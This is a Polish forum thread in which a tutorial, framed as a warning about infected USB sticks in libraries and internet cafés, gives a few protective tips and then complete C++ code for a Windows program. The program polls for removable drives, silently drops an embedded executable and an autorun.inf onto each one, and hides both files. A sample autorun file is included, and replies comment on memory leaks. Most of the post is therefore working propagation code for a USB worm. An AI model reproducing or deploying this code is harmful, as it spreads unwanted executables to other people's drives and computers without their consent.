[Tutorial]Zagrożenia dla naszego pendrive

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
Zagrożenia w miejscach publicznych – chroń swój pendrive



Niewiele osób zdaje sobie sprawe jak niebezpieczne jest używanie własnego pendriva w miejscach publicznych takich jak:
• Biblioteki
• Kafejki internetowe
• Szkolna pracownia internetowa

Tego typu miejsca są wylęgarnią dla wszelkiego typu robactwa, nie znaczy ze mamy nie używać pendrive w takich miejscach, należy tylko zachować pewną ostrożność.

Jeśli podłączamy nasz pendrive do naszego komputera po wizycie np. w bibliotece nie włączajmy go klikając na niego 2x lewym przyciskiem myszy gdyż powoduje to włączenie autorunu i infekcje naszego komputera o ile pendrive jest zarażony, dużo lepszym wyjściem jest kliknąć na niego prawym przyciskiem myszy i kliknąć otwórz- wtedy autorun się nie uruchomi. Pyzatym należy włączyć pokazywanie plików ukrytych i systemowych naszym systemie. Robimy to przez klikniecie na Narzędzia -> Opcje folderów -> Widok.
Zaznaczamy tam Pokaż ukryte pliki i foldery a także odznaczamy Ukryj chronione pliki systemu windows od teraz będziemy widzieć pliki, które ktoś umieścił na naszym pendrive bez naszej wiedzy i zgody.

Pokaże teraz jak łatwo napisać program który po podłączeniu pendrive do PC automatycznie skopiuje na niego autorun + program, aby pokazać, że wcale nie jest to takie trudne i że naprawdę możemy stać się ofiarą takiego ataku.


Na początku dołączamy pliki nagłówkowe takie jak:
Kod:
#include <windows.h>
#include <string>
#include <vector>

Napiszmy teraz funkcje która znajdzie wszelkie pendrivy podlaczone do PC
Kod:
void GetPendrives(std::vector<std::string>* pendrives)
{
char* bufor=new char[1024];
DWORD need=GetLogicalDriveStrings(1024,bufor);//pobieramy litery dyskow
      if(need > 1024)//jesli bufor jest za maly alokujemy bufor o odpowiedniej dlugosci
      {
      delete bufor;
      bufor=new char[need];
      GetLogicalDriveStrings(need,bufor);
      }
int n=need/4; // ilosc dyskow
std::string* dyski=new std::string[n];
int i=0;

while(i<n)
{
dyski[i]=(char*)(bufor+(i*4));
i++;
}


pendrives->clear();//usuwamy wszystko co jest w vectorze
 

i=0;
while(i<n)
{
 if(GetDriveType(dyski[i].c_str())==DRIVE_REMOVABLE)//sprawdzamy ktore dyski sa pendrivami
 {
 pendrives->push_back(dyski[i]);
 }
i++;
}
}

Teraz czas na inne potrzebne nam funkcje

Kod:
bool FindInVector(const char* str,std::vector<std::string> vec)//funkcja ktora sprawdza czy pojawil sie nowy pendrive
{
int n=vec.size();
int i=0;
while(i<n)
{
 if(vec[i]==str)
 {
 return true;
 }
i++;
}
return false;
}


bool ExtractExe(char* id, char *filename)//funkcja wypakowujaca plik z zasobow  
{  
bool result = false;  
 
 HRSRC hResource=NULL;
 

   hResource = FindResource(GetModuleHandle(NULL),id , RT_RCDATA);  
   
   if(!hResource)  
   {  
      return result;               
    }               
   if( hResource != NULL ){  
      HGLOBAL hLoader = LoadResource(NULL,hResource);  
      if( hLoader != NULL ){  
         byte *data = (byte *)LockResource(hLoader);  
         DWORD len = SizeofResource(NULL,hResource);  

         if( data != NULL && len > 0 ){ 

            HANDLE hFile = CreateFile(filename,  
                              GENERIC_READ | GENERIC_WRITE,  
                              0,  
                              NULL,  
                              CREATE_ALWAYS,  
                              FILE_ATTRIBUTE_NORMAL,  
                              NULL);  
            if( hFile != INVALID_HANDLE_VALUE ){  
               DWORD written = 0;  

               int write = WriteFile(hFile,  
                     data,  
                     len,  
                     &written,  
                     NULL);  
               if( len == written && write == TRUE )  
                  result = true;  
            }  
            CloseHandle(hFile);  
         }  
         UnlockResource(hLoader);  
      }  
      FreeResource(hLoader);  
   }  
   return result; 
}


A ten kod umieszczamy wewnatrz main:

Kod:
std::vector<std::string> vec;
GetPendrives(&vec);
int i=0;
while(i<vec.size())
{
//w tym momecie wypakowujemy na wszystkie pendrivy nasz plik
  //przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006
 std::string exe=vec[i];
 std::string autorun=vec[i];
 exe+="Start.exe";
 autorun+="autorun.inf";
 ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy
 ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy
 SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
 SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
 i++;
}
std::vector<std::string> tmp;
int n=0;
i=0;
while(1)//nieskonczona petla ktora sprawdza czy nie pojawiły się nowe pendrivy
{
GetPendrives(&tmp);
n=tmp.size();
i=0;
while(i<n)
{
 if(!FindInVector(tmp[i].c_str(),vec))
 {
 //w tym momecie wypakowujemy na ten dysk nasz plik
  //przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006
 std::string exe=tmp[i];
 std::string autorun=tmp[i];
 exe+="Start.exe";
 autorun+="autorun.inf";
 ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy
 ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy
 SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
 SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
   
 }
i++;
}
vec=tmp;
Sleep(10000);
}

Na koniec do projektu musimy dodać zasoby ale tego już nie będę tu opisywał gdyż można to znaleźć w google
smile.gif


Przykładowy plik autorun:
Kod:
[autorun]
OPEN=Start.exe
shellexecute=Start.exe
shell=Auto
shell\Auto=&Autoplay
shell\Auto\command=Start.exe

Taki plik umieszczamy w zasobach pod numerem 1006 a plik exe, który ma być uruchamiany pod numerem 1005

Mam nadzieje, że artykuł przekonał was do tego aby uważać na swoje pendrivy
smile.gif


Artykuł pochodzi ze strony http://grzonu.pl
//jesli sie nada prosze o przeniesienie do tutoriali
 

thc_flow

Zbanowany
Dołączył
Listopad 13, 2008
Posty
649
Raczej tak, jeszcze nie widziałem, żeby UAC blokował zapis na dyskach USB...
 

Damn3d

Użytkownik
Dołączył
Kwiecień 18, 2009
Posty
88
Ten kod ma wycieki pamięci, chociaż jeżeli miała być to tylko demonstracja, to w niczym nie przeszkadza.
 

grzonu

Były Moderator
Dołączył
Grudzień 26, 2006
Posty
1390
kod był pisany na szybko, nie ma charakteru programu tylko code snippets
smile.gif

dodaj na koncu
Kod:
delete bufor
i nie bedzie wyciekow
 
Do góry Bottom